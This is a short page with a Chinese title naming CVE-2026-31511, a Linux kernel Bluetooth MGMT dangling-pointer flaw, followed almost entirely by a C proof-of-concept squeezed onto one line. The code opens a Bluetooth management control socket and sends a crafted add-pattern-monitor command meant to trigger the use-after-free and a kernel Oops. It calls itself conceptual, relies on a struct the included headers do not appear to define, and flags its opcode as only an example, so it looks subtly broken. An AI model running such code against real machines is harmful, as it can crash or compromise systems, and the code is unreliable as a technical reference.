CVE-2026-31511: Linux内核蓝牙MGMT悬空指针漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <bluetooth/bluetooth.h> #include <bluetooth/hci.h> #include <bluetooth/mgmt.h> // Conceptual PoC for triggering the dangling pointer condition // This requires a vulnerable kernel version and local access. int main() { int sk; struct sockaddr_hci addr; char buf[1024]; // Open Bluetooth Management socket sk = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (sk < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.hci_family = AF_BLUETOOTH; addr.hci_dev = HCI_DEV_NONE; addr.hci_channel = HCI_CHANNEL_CONTROL; if (bind(sk, (struct sockaddr *) &addr, sizeof(addr)) < 0) { perror("bind"); close(sk); return 1; } // Prepare MGMT command to add advertisement patterns monitor // The specific payload construction depends on triggering the 'status != -ECANCELED' path struct mgmt_pkt *cmd = (struct mgmt_pkt *) buf; cmd->index = HCI_DEV_NONE; cmd->opcode = 0x0053; // MGMT_OP_ADD_ADV_PATTERNS_MONITOR (Example value) cmd->len = htons(0); // Send command if (write(sk, cmd, sizeof(*cmd)) < 0) { perror("write"); } // Triggering the vulnerability might require specific timing or subsequent power off operations // to hit the dangling pointer during list traversal (mgmt_pending_foreach). printf("Potential trigger sent. Check kernel logs for Oops.\n"); close(sk); return 0; }